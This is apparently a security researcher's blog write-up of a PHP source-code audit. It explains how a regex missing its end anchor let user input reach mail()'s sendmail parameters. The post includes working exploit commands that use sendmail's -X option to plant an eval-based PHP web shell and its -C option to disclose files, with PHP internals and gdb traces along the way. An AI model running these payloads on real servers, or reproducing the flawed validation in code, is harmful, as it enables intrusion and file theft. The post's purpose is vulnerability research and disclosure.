Using mail() for Remote Code Execution

Thu 03 November 2011 by geoffrey

Last week we had to assess the security level of a PHP web application from its source code, in a white-box context. During this audit we found original ways to take advantage of the mail() function for remote code execution and file disclosure attacks while bypassing open_basedir. This article explains the approaches used for that type of audit, how PHP handles the mail function and how to perform such attacks using it.

Methodologies

There are three well known approaches to audit an application from its source code. The first one is the top-down approach, which consists to start from an entry point of the program and follow all code branches. The second method is the bottom-up approach: the auditor first establishes a list of interesting functions to audit and identify code areas where user inputs are used.

code_audit_methodo.png

There are cons and pros for both methods. The first one is time consuming but covers all the source code and provides a great understanding of how the application works. The later one is time saver and focuses on areas which are the most susceptible to be vulnerable, but doesn't follow all code branches and skips some kind of vulnerabilities, for example logic issues.

Note that there is also another way which combines the benefits of each methods and tries to limit their disadvantages: the hybrid method.

Vulnerable code

In our approach we decided to use a top-down methodology and after a few time we saw that piece of code (recreated due to confidentiality reasons) which at first glance seems normal:

$mail = new sendMail;
$mail->setTo(input::post('to'));
$mail->setSubject(input::post('subject'));
$mail->setFrom(input::post('from'));
$mail->setMessage(input::post('message'));
$mail->send();

The method input::post is in fact a simple wrapper to get values from the $_POST array, controlled by the user. Next the setFrom function is called, which looks like the following:

if (preg_match('#^[a-zA-Z0-9_.-]+@[a-zA-Z0-9-]+.[a-zA-Z0-9-.]+#', $from))
    $this->from = (string) $from;
The meta-character $ is not used, so the check made with preg_match can be bypassed cause the regex will only be applied on the first part of the
subject, not all of it. After setting different parameters, the send function is executed:
mail($this->to, $this->subject, $this->message, ..., "-f{$this->from}");

We can see that the variable from, controlled by the user, is passed to the fifth parameter of the mail function.

Analysing mail()

Using Reflection from the shell we can quickly know how the mail function works:

# php --rf mail
Function [ <internal:standard> function mail ] {
    - Parameters [5] {
        Parameter #0 [ <required> $to ]
        Parameter #1 [ <required> $subject ]
        Parameter #2 [ <required> $message ]
        Parameter #3 [ <optional> $additional_headers ]
        Parameter #4 [ <optional> $additional_parameters ]
    }
}

In our case we control several parameters passed to mail but the more interesting seems to be the fifth one. Quoting php.net:

The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

What we want to know now is how the command line options are passed to sendmail. For example we could try to exploit an escape shell vulnerability or abuse sendmail options. In order to do so we downloaded the PHP 5.3.0 source code and found that the code which handles mail is situated in ext/standard/mail.c:

/* {{{ proto int mail(string to, string subject, string message [, string additional_headers [, string additional_parameters]]) Send an email
message */
PHP_FUNCTION(mail)
{
    char *to=NULL, *message=NULL, *headers=NULL;
    char *subject=NULL, *extra_cmd=NULL;
    int to_len, message_len, headers_len = 0;
    int subject_len, extra_cmd_len = 0, i;
    char *force_extra_parameters = INI_STR("mail.force_extra_parameters");
    char *to_r, *subject_r;
    char *p, *e;

    if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFEMODE");
            RETURN_FALSE;
        }

        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss", &to, &to_len, &subject, &subject_len, &message, &message_len,&headers, &headers_len, &extra_cmd, &extra_cmd_len) == FAILURE) {
            return;
        }
    }

As you can see the safe_mode implementation is not centralised: for each function concerned by this directive, the developpers must consider all safe_mode directives and ensure that they are properly applied, otherwise you can bypass that protection. That is one of the many reasons why this directive is now turned off by default.

In the case of mail, the use of the fifth parameter is restricted when the safe_mode is enabled, that is why the number of arguments passed to the function is checked. Then the zend_parse_parameters function is called and extra_cmd is set with the fifth parameter.

if (force_extra_parameters) {
    extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
    extra_cmd = php_escape_shell_cmd(extra_cmd);
}

if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {
    RETVAL_TRUE;
}

The variable extra_cmd is then passed to php_escape_shell_cmd which escapes special characters that can be used to execute other commands. Finally the php_mail function is called.

/* {{{ php_mail
*/
PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC)
{
... snip ...
    FILE *sendmail;
    int ret;
    char *sendmail_path = INI_STR("sendmail_path");
    char *sendmail_cmd = NULL;
    char *mail_log = INI_STR("mail.log");
    char *hdr = headers;
    ... snip ...
    if (extra_cmd != NULL) {
        spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
    } else {
        sendmail_cmd = sendmail_path;
    }
    ... snip ...
    sendmail = popen(sendmail_cmd, "w");
}

PHP then retrieves the value of the sendmail_path directive and uses spprintf to create the command line sendmail_cmd, which is then passed to popen. Let's take an example to see how the final command will be like:

(gdb) file php
Reading symbols from /opt/php-5.3.0/sapi/cli/php...done.
(gdb) set args -r 'mail("a@b.com", "s", "m", "", "-arg val");'
(gdb) b mail.c:291
Breakpoint 1 at 0x83f39b2: file /opt/php-5.3.0/ext/standard/mail.c, line 291.
(gdb) r
Starting program: /opt/php-5.3.0/sapi/cli/php -r 'mail("a@b.com", "s", "m", "", "-arg val");'
[Thread debugging using libthread_db enabled]

Breakpoint 1, php_mail (to=0x8b5c2b8 "a@b.com", subject=0x8b5c2ec "s", message=0x8b5be2c "m", headers=0x8b5be9c "", extra_cmd=0x8b5c31c "-arg
val")
   at /opt/php-5.3.0/ext/standard/mail.c:291
   291        sendmail = popen(sendmail_cmd, "w");
(gdb) p sendmail_path
   $1 = 0x89af284 "/usr/sbin/sendmail -t -i "
(gdb) p sendmail_cmd
   $2 = 0x8b5c35c "/usr/sbin/sendmail -t -i  -arg val"

Now that we have a great understanding of how mail works we can focus on the exploitation step. The sendmail program provides several parameters and options which are well documented in this document. Exploiting sendmail is a known subject but the context we are facing is really different from what actually exists: we can only pass parameters escaped with php_escape_shell_cmd to it.

Code execution

The main idea to implement this type of attack was to send a special string which contains PHP code into the SMTP message, and use sendmail features to log the message in a file with a php extension. This includes that we must have write rights to create/modify the targeted file.

After some research we saw that the -X parameter could be used to log the traffic between the client and the MTA: this is exactly what we are looking for. In order to see which parameters can be used to inject PHP code in the log file, we tested each of them:

# PHPFROM="<?php CLI; ?>"
# SUBJECT="<?php SUBJECT; ?>"
# MESSAGE="<?php BODY; ?>"
# HEADERS="<?php HEADER; ?>"
# PARAMS="-f\'${PHPFROM}\' -OQueueDirectory=/tmp -X /var/www/uploads/back.php"
# php -r "mail('a@b.c', '${SUBJECT}', '${MESSAGE}', '${HEADERS}', '${PARAMS}');"

Parameters passed to sendmail will bypass the restrictions imposed by open_basedir because this directive only checks paths used in a PHP context. The content of the created file was the following:

::
03785 <<< To: a@b.c 03785 <<< Subject: <?php SUBJECT; ?> 03785 <<< X-PHP-Originating-Script: 1000:Command line code 03785 <<< <?php HEADER; ?> 03785 <<< 03785 <<< <?php BODY; ?> 03785 <<< [EOF] 03785 === CONNECT [127.0.0.1] 03785 <<< 220 self.com ESMTP Sendmail 8.14.4/8.14.4/Debian-2ubuntu1;... 03785 >>> EHLO self.com 03785 <<< 250-self.com Hello localhost [127.0.0.1], pleased to meet you 03785 <<< 250-ENHANCEDSTATUSCODES 03785 <<< 250-PIPELINING 03785 <<< 250-EXPN 03785 <<< 250-VERB 03785 <<< 250-8BITMIME 03785 <<< 250-SIZE 03785 <<< 250-DSN 03785 <<< 250-ETRN 03785 <<< 250-AUTH DIGEST-MD5 CRAM-MD5 03785 <<< 250-DELIVERBY 03785 <<< 250 HELP 03785 >>> MAIL From:<<?php.CLI;.?>@self.com> SIZE=119 03785 <<< 250 2.1.0 <<?php.CLI;.?>@self.com>... Sender ok 03785 >>> RCPT To:<a@b.c> 03785 >>> DATA 03785 <<< 250 2.1.5 <a@b.c>... Recipient ok 03785 <<< 354 Enter mail, end with "." on a line by itself 03785 >>> Received: (from yup@localhost) 03785 >>> by self.com (8.14.4/8.14.4/Submit) id p9S9C8p1003785; 03785 >>> Fri, 28 Oct 2011 11:12:08 +0200 03785 >>> Date: Fri, 28 Oct 2011 11:12:08 +0200 03785 >>> From: <?php.CLI;.?>@self.com 03785 >>> Message-Id: <201110280912.p9S9C8p1003785@self.com> 03785 >>> X-Authentication-Warning: self.com: yup set sender to <?php CLI; ?> using -f 03785 >>> X-Authentication-Warning: self.com: Processed from queue /tmp 03785 >>> To: a@b.c 03785 >>> Subject: <?php SUBJECT; ?> 03785 >>> X-PHP-Originating-Script: 1000:Command line code 03785 >>> 03785 >>> <?php HEADER; ?> 03785 >>>

As you can see there is no problem if we control the subject, the message or the headers: the PHP code stored in the file back.php will get executed. But this would add a condition: we should control the fifth parameter and another one. That is the case of the application we audit, but we want to search for a way to exploit it even if we only control the last parameter.

The fifth parameter is escaped and will not result in PHP code execution, but we found a way to bypass that by putting the character @ into the from (-f) parameter passed to sendmail:

# PHPFROM="<?php CLI;/*@*/ ?>"
# SUBJECT=;MESSAGE=;HEADERS=;
# PARAMS="-f\'${PHPFROM}\' -OQueueDirectory=/tmp -X /var/www/uploads/back.php"
# php -r "mail('a@b.c', '${SUBJECT}', '${MESSAGE}', '${HEADERS}', '${PARAMS}');"

Which results in:

MAIL From:<\<\?php.CLI\;/\*@\*/\?\>> SIZE=72
06532 <<< 250 2.1.0 <\<\?php.CLI\;/\*@\*/\?\>>... Sender ok
06532 >>> RCPT To:<a@b.c>
06532 >>> DATA
06532 <<< 553 5.1.8 <a@b.c>... Domain of sender address <?php.CLI;/*@*/?> does not exist

When we put the character @, sendmail tries to resolve the domain */?>.com by making up a DNS query. Because the domain doesn't exist it outputs an error with the email of the sender formatted: spaces are replaced by dots and magic happens: the character is removed.

The effects of php_escape_shell_cmd are now removed but we must still find a way to execute PHP code without entering whitespaces. To do so we checked how the Zend Engine handles the PHP open tags and decide whether or not to execute the code. It uses Lex rules situated in Zend/zend_language_scanner.l:

WHITESPACE [ \n\r\t]+
NEWLINE ("\r"|"\n"|"\r\n")
... snip ...
<INITIAL>"<script"{WHITESPACE}+"language"{WHITESPACE}*"="{WHITESPACE}*("php"|"\"php\""|"'php'"){WHITESPACE}*">" {
... snip ...
<INITIAL>"<%=" {
    if (CG(asp_tags)) {
    ... snip ...
<INITIAL>"<?=" {
    if (CG(short_tags)) {
    ... snip ...
<INITIAL>"<%" {
    if (CG(asp_tags)) {
    ... snip ...
<INITIAL>"<?php"([ \t]|{NEWLINE}) {
    ... snip ...
<INITIAL>"<?" {
    if (CG(short_tags)) {

Looking at this code we can conclude that the only open tags which doesn't require whitespaces are short tags, which are enabled by default, and asp tags.

# PHPFROM="<?if(isset(\$_SERVER[HTTP_SHELL]))eval(\$_SERVER[HTTP_SHELL]);/*@*/?>"
# SUBJECT=;MESSAGE=;HEADERS=;
# PARAMS="-f\'${PHPFROM}\' -OQueueDirectory=/tmp -X /var/www/uploads/back.php"
# php -r "mail('a@b.c', '${SUBJECT}', '${MESSAGE}', '${HEADERS}', '${PARAMS}');"

Using these commands, we now have a remote code execution on the application:

08744 <<< 553 5.1.8 <a@b.c>... Domain of sender address <?if(isset($_SERVER[HTTP_SHELL]))eval($_SERVER[HTTP_SHELL]);/*@*/?> does not exist

At the end of the audit we also found another way to exploit it even if short_open_tag is turned off: it was found that sendmail replaces the n character to a space, so we can use the standard open tags.

File disclosure

The -C parameter permits to use an alternate configuration file. Using this parameter with an invalid configuration file will cause sendmail to output an error for each line it doesn't understand. This can be used to display the content of a targeted file.

# SUBJECT=;MESSAGE=;HEADERS=;
# PARAMS="-C/var/www/phpinfo.php -OQueueDirectory=/tmp -X/var/www/uploads/f.txt"
# php -r "mail('a@b.c', '${SUBJECT}', '${MESSAGE}', '${HEADERS}', '${PARAMS}');"

These commands are used to write the content of the file phpinfo.php to f.txt:

04151 >>> /var/www/phpinfo.php: line 1: unknown configuration line "<?php"
04151 >>> /var/www/phpinfo.php: line 3: unknown configuration line "phpinfo();"
04151 >>> /var/www/phpinfo.php: line 5: unknown configuration line "?>"
04151 >>> No local mailer defined

Note also that if you are having troubles with the method explained previously to obtain remote code execution, you can use this parameter: if you can inject PHP code in a file situated on the webserver (eg: session files, apache logs, etc.), you can then write its content into a php file and execute it.

Conclusion

In this audit, the vulnerability was only caused of one missing character, which lead us to remote code execution. Entering in PHP internals helped us to see the protections applied, to have a great understanding of how mail was handled and later, thanks to the Lex rules, to know how to bypass the condition about spaces. In the exploitation part we also showed how to circumvent the conditions added by php_escape_shell_cmd, short_open_tag and also how to use this technique to bypass open_basedir. Finally, the most important things to keep in mind are the methodology, the tests and the research we did, not the final exploitation itself.